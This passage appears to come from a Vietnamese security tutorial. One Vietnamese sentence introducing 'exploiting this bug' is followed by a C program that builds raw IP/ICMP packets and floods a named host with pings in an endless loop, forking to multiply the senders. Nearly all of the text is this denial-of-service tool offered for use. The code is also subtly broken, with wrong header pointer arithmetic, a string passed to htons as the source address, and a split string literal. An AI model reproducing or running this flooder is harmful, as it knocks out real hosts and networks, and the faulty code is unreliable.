Để khai thác lỗi này, bạn cần liên tiếp gửi gói ICMP_ECHO, mà không chờ hồi âm (bằng fork()'s).
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
if(argc < 2) {
printf("Usage: %s <host>\n", argv[0]);
exit(0);
}
int sock;
char packet[2000];
struct sockaddr_in dest;
struct hostent *host;
struct iphdr *ip = (struct iphdr *) packet;
struct icmphdr *icmp = (struct icmp *) packet
+ sizeof(struct iphdr);
if((host = gethostbyname(argv[1])) == NULL) {
printf("Couldn't resolve host!\n");
exit(-1);
}
if((sock = socket(AF_INET, SOCK_RAW,
IPPROTO_ICMP)) == -1) {
printf("Couldn't make socket!\n");
printf("You must be root to create a
raw socket.\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_addr = *((struct in_addr
*)host->h_addr);
ip->ihl = 5;
ip->id = htons(1337);
ip->ttl = 255;
ip->tos = 0;
ip->protocol = IPPROTO_ICMP;
ip->version = 4;
ip->frag_off = 0;
ip->saddr = htons("127.0");
ip->daddr = inet_ntoa(dest.sin_addr);
ip->tot_len = sizeof(struct iphdr) +
sizeof(struct icmphdr);
ip->check = 0;
icmp->checksum = 0;
icmp->type = ICMP_ECHO;
icmp->code = 0;
printf("Ping flooding %s!\n", argv[1]);
fork();
fork();
while(1) {
sendto(sock, packet, ip->tot_len, 0,
(struct sockaddr *)&dest, sizeof(struct sockaddr));
}
return(0);
}
